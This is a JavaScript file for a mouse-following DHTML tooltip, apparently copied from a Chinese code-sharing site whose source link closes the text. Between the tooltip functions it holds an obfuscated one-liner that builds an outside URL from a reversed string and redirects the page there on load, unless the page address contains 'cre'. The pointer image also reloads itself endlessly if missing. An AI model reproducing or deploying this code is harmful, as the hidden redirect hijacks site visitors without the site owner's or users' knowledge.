popdiv

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip


详细出处参考：http://www.jb51.net/article/344.htm